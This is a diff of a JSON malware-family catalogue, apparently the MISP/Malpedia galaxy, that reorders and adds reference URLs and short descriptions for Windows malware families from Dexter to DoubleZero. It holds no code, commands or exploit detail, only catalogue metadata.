"description": "", "meta": { @@ -20341,15 +21655,15 @@ "value": "Dexphot" }, { - "description": "", + "description": "Dexter is a computer virus or point of sale malware which infects computers running Microsoft Windows and was discovered by IT security firm Seculert, in December 2012. It infects PoS systems worldwide and steals sensitive information such as Credit Card and Debit Card information.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter", - "https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Dexter-Malware--Getting-Your-Hands-Dirty/", + "https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html", "http://contagiodump.blogspot.com/2012/12/dexter-pos-infostealer-samples-and.html", "https://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html", - "https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html" + "https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/" ], "synonyms": [ "LusyPOS" @@ -20364,35 +21678,37 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma", - "https://thedfirreport.com/2020/06/16/the-little-ransomware-that-couldnt-dharma/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://twitter.com/JakubKroustek/status/1087808550309675009", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", - "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", - "https://www.group-ib.com/media/iran-cybercriminals/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/dharma-ransomware-uses-av-tool-to-distract-from-malicious-activities/", - "https://cyberveille-sante.gouv.fr/cyberveille-sante/1821-france-retour-dexperience-suite-une-attaque-par-rancongiciel-contre-une", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.zscaler.com/blogs/security-research/ransomware-delivered-using-rdp-brute-force-attack", - "https://www.acronis.com/en-us/articles/Dharma-ransomware/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware", - "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://www.carbonblack.com/2018/07/10/carbon-black-tau-threat-analysis-recent-dharma-ransomware-highlights-attackers-continued-use-open-source-tools/", - "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", "https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/", + "https://www.zscaler.com/blogs/security-research/ransomware-delivered-using-rdp-brute-force-attack", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", "https://news.sophos.com/en-us/2020/08/12/color-by-numbers-inside-a-dharma-ransomware-as-a-service-attack/", - "https://securelist.com/cis-ransomware/104452/" + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.acronis.com/en-us/articles/Dharma-ransomware/", + "https://www.carbonblack.com/2018/07/10/carbon-black-tau-threat-analysis-recent-dharma-ransomware-highlights-attackers-continued-use-open-source-tools/", + "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://securelist.com/cis-ransomware/104452/", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", + "https://cyberveille-sante.gouv.fr/cyberveille-sante/1821-france-retour-dexperience-suite-une-attaque-par-rancongiciel-contre-une", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", + "https://thedfirreport.com/2020/06/16/the-little-ransomware-that-couldnt-dharma/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://twitter.com/JakubKroustek/status/1087808550309675009", + "https://www.group-ib.com/media/iran-cybercriminals/", + "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/dharma-ransomware-uses-av-tool-to-distract-from-malicious-activities/" ], "synonyms": [ "Arena", @@ -20406,18 +21722,18 @@ "value": "Dharma" }, { - "description": "", + "description": "According to PCrisk, DiamondFox is highly modular malware offered as malware-as-a-service, and is for sale on various hacker forums. Therefore, cyber criminals who are willing to use DiamondFox do not necessarily require any technical knowledge to perform their attacks.\r\n\r\nOnce purchased, this malware can be used to log keystrokes, steal credentials (e.g., usernames, email addresses, passwords), hijack cryptocurrency wallets, perform distributed denial of service (DDoS) attacks, and to carry out other malicious tasks.\r\n\r\nDiamondFox allows cyber criminals to choose which plug-ins to keep activated and see infection statistics in real-time.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.diamondfox", - "https://github.com/samoceyn/Diamondfox-Technical-Analysis-Report/blob/6375314ccecdf3fe450f975a384bcc1b16f068a8/D%C4%B0AMONDFOX%20Technical%20Analysis%20Report.PDF", - "https://www.scmagazine.com/inside-diamondfox/article/578478/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/", "http://blog.checkpoint.com/2017/05/10/diamondfox-modular-malware-one-stop-shop/", - "https://blog.cylance.com/a-study-in-bots-diamondfox", - "https://fr3d.hk/blog/diamondfox-bank-robbers-will-be-replaced", "https://blog.malwarebytes.com/threat-analysis/2017/04/diamond-fox-p2/", - "https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/" + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://fr3d.hk/blog/diamondfox-bank-robbers-will-be-replaced", + "https://blog.cylance.com/a-study-in-bots-diamondfox", + "https://www.scmagazine.com/inside-diamondfox/article/578478/", + "https://github.com/samoceyn/Diamondfox-Technical-Analysis-Report/blob/6375314ccecdf3fe450f975a384bcc1b16f068a8/D%C4%B0AMONDFOX%20Technical%20Analysis%20Report.PDF" ], "synonyms": [ "Crystal", @@ -20434,18 +21750,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol", - "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", - "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", - "https://chuongdong.com/reverse%20engineering/2021/12/17/DiavolRansomware/", "https://medium.com/walmartglobaltech/diavol-the-enigma-of-ransomware-1fd78ffda648", - "https://securityintelligence.com/posts/analysis-of-diavol-ransomware-link-trickbot-gang/", - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://heimdalsecurity.com/blog/is-diavol-ransomware-connected-to-wizard-spider/", "https://arcticwolf.com/resources/blog/karakurt-web", - "https://www.binarydefense.com/threat_watch/new-ransomware-diavol-being-dropped-by-trickbot/", - "https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday", + "https://chuongdong.com/reverse%20engineering/2021/12/17/DiavolRansomware/", "https://www.bleepingcomputer.com/news/security/fbi-links-diavol-ransomware-to-the-trickbot-cybercrime-group/", + "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://securityintelligence.com/posts/analysis-of-diavol-ransomware-link-trickbot-gang/", + "https://medium.com/walmartglobaltech/diavol-resurfaces-91dd93c7d922", + "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", + "https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday", "https://www.ic3.gov/Media/News/2022/220120.pdf", + "https://www.binarydefense.com/threat_watch/new-ransomware-diavol-being-dropped-by-trickbot/", + "https://heimdalsecurity.com/blog/is-diavol-ransomware-connected-to-wizard-spider/", "https://www.bleepingcomputer.com/news/security/diavol-ransomware-sample-shows-stronger-connection-to-trickbot-gang/" ], "synonyms": [], @@ -20459,8 +21776,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dilljuice", - "https://securelist.com/apt-trends-report-q1-2021/101967/", - "https://threatvector.cylance.com/en_us/home/threat-spotlight-menupass-quasarrat-backdoor.html" + "https://threatvector.cylance.com/en_us/home/threat-spotlight-menupass-quasarrat-backdoor.html", + "https://securelist.com/apt-trends-report-q1-2021/101967/" ], "synonyms": [], "type": [] @@ -20491,15 +21808,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "9fed4326-a7ad-4c58-ab87-90ac3957d82f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8f5ce8a6-c5fe-4c62-b25b-6ce0f3b724c5", "value": "Dimnie" }, @@ -20534,12 +21842,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dirtymoe", - "https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/", - "https://decoded.avast.io/martinchlumecky/dirtymoe-1/", "https://decoded.avast.io/martinchlumecky/dirtymoe-4/", - "https://decoded.avast.io/martinchlumecky/dirtymoe-5/", + "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", "https://decoded.avast.io/martinchlumecky/dirtymoe-3/", - "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html" + "https://decoded.avast.io/martinchlumecky/dirtymoe-5/", + "https://decoded.avast.io/martinchlumecky/dirtymoe-1/", + "https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/" ], "synonyms": [], "type": [] @@ -20552,8 +21860,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispcashbr", - "https://twitter.com/r3c0nst/status/1232944566208286720", - "https://insights.oem.avira.com/atm-malware-targets-wincor-and-diebold-atms/" + "https://insights.oem.avira.com/atm-malware-targets-wincor-and-diebold-atms/", + "https://twitter.com/r3c0nst/status/1232944566208286720" ], "synonyms": [], "type": [] @@ -20579,29 +21887,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack", - "https://securelist.com/shamoon-the-wiper-copycats-at-work/", - "https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon", - 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"https://cyber-anubis.github.io/malware%20analysis/dridex/", - "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/", + "https://twitter.com/BrettCallow/status/1453557686830727177?s=20", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://redcanary.com/blog/grief-ransomware/", + "https://www.0ffset.net/reverse-engineering/malware-analysis/dridex-veh-api-obfuscation/", + "https://www.fortinet.com/blog/threat-research/new-dridex-variant-being-spread-by-crafted-excel-document?&web_view=true", "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", - "https://twitter.com/BrettCallow/status/1453557686830727177?s=20" + "https://cyber-anubis.github.io/malware%20analysis/dridex/", + "https://www.proofpoint.com/us/blog/threat-insight/ta575-uses-squid-game-lures-distribute-dridex-malware" ], "synonyms": [], "type": [] @@ -20822,63 +22161,65 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer", - "https://intel471.com/blog/ransomware-attack-access-merchants-infostealer-escrow-service/", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://apnews.com/article/virus-outbreak-elections-georgia-voting-2020-voting-c191f128b36d1c0334c9d0b173daa18c", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - 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"https://twitter.com/vikas891/status/1385306823662587905", - "https://redcanary.com/blog/grief-ransomware/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", - "https://lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://sites.temple.edu/care/ci-rw-attacks/", - "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.bleepingcomputer.com/news/security/laptop-maker-compal-hit-by-ransomware-17-million-demanded/", - "http://www.secureworks.com/research/threat-profiles/gold-heron", - "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", - "https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/", - "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", - "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/", - "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://twitter.com/BrettCallow/status/1453557686830727177?s=20", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://apnews.com/article/virus-outbreak-elections-georgia-voting-2020-voting-c191f128b36d1c0334c9d0b173daa18c", + "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/", "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-heron", + "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", + "https://www.bleepingcomputer.com/news/security/core-doppelpaymer-ransomware-gang-members-targeted-in-europol-operation/", + "https://www.bleepingcomputer.com/news/security/foxconn-electronics-giant-hit-by-ransomware-34-million-ransom/", + "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://twitter.com/AltShiftPrtScn/status/1385103712918642688", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://www.zscaler.com/blogs/security-research/doppelpaymer-continues-cause-grief-through-rebranding", - "https://techcrunch.com/2020/03/01/visser-breach/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://lka.polizei.nrw/presse/schlag-gegen-international-agierendes-netzwerk-von-cyber-kriminellen", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://intel471.com/blog/ransomware-attack-access-merchants-infostealer-escrow-service/", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://twitter.com/BrettCallow/status/1453557686830727177?s=20", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://techcrunch.com/2020/03/01/visser-breach/", + "https://www.secureworks.com/research/threat-profiles/gold-heron", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "http://www.secureworks.com/research/threat-profiles/gold-heron", + "https://www.ic3.gov/Media/News/2020/201215-1.pdf", + "https://www.heise.de/news/Uniklinik-Duesseldorf-Ransomware-DoppelPaymer-soll-hinter-dem-Angriff-stecken-4908608.html", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://www.trendmicro.com/en_us/research/21/a/an-overview-of-the-doppelpaymer-ransomware.html", - "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer" + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.bleepingcomputer.com/news/security/laptop-maker-compal-hit-by-ransomware-17-million-demanded/", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/", + "https://redcanary.com/blog/grief-ransomware/", + "https://www.zscaler.com/blogs/security-research/doppelpaymer-continues-cause-grief-through-rebranding", + "https://twitter.com/vikas891/status/1385306823662587905" ], "synonyms": [ "Pay OR Grief" @@ -20893,10 +22234,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot", - "https://blog.trendmicro.com/trendlabs-security-intelligence/the-dorkbot-rises/", - "https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/", "http://stopmalvertising.com/rootkits/analysis-of-ngrbot.html", - "https://research.checkpoint.com/dorkbot-an-investigation/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/the-dorkbot-rises/", + "https://research.checkpoint.com/dorkbot-an-investigation/", + "https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/" ], "synonyms": [], "type": [] @@ -20909,8 +22250,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", - "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks" ], "synonyms": [], "type": [] @@ -20918,6 +22259,37 @@ "uuid": "d3b5a884-1fd6-4cc4-9837-7d8ee8817711", "value": "Dorshel" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.dosia", + "https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/", + "https://medium.com/@b42labs/data-insights-from-russian-cyber-militants-noname057-9f4db98f60e", + "https://decoded.avast.io/martinchlumecky/ddosia-project-how-noname05716-is-trying-to-improve-the-efficiency-of-ddos-attacks/", + "https://www.team-cymru.com/post/a-blog-with-noname" + ], + "synonyms": [ + "DDOSIA" + ], + "type": [] + }, + "uuid": "eabd30ed-d2ec-43b5-b790-7381f93a3a03", + "value": "Dosia" + }, + { + "description": "According to Mandiant, DOSTEALER is a dataminer that mines browser login and cookie data. It is also capable of taking screenshots and logging keystrokes.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.dostealer", + "https://www.mandiant.com/media/17826" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3b4bf82d-5c57-4ea2-847d-f2fd292ba730", + "value": "DOSTEALER" + }, { "description": "", "meta": { @@ -20938,7 +22310,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleback", - "https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html" + "https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/" ], "synonyms": [], "type": [] @@ -20952,8 +22325,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy", "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/", - "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/", - "https://twitter.com/Int2e_/status/1294565186939092994" + "https://twitter.com/Int2e_/status/1294565186939092994", + "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/" ], "synonyms": [ "VALIDATOR" @@ -20968,10 +22341,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar", - "https://github.com/countercept/doublepulsar-c2-traffic-decryptor", + "https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/", "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "https://www.symantec.com/blogs/threat-intelligence/buckeye-windows-zero-day-exploit", - "https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/" + "https://github.com/countercept/doublepulsar-c2-traffic-decryptor" ], "synonyms": [], "type": [] @@ -20984,19 +22357,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublezero", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-doublezero", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", - "https://www.splunk.com/en_us/blog/security/threat-update-doublezero-destructor.html", - "https://cert.gov.ua/article/38088", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://www.splunk.com/en_us/blog/security/threat-update-doublezero-destructor.html", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://cert.gov.ua/article/38088", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-doublezero", + "https://unit42.paloaltonetworks.com/doublezero-net-wiper/", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", + 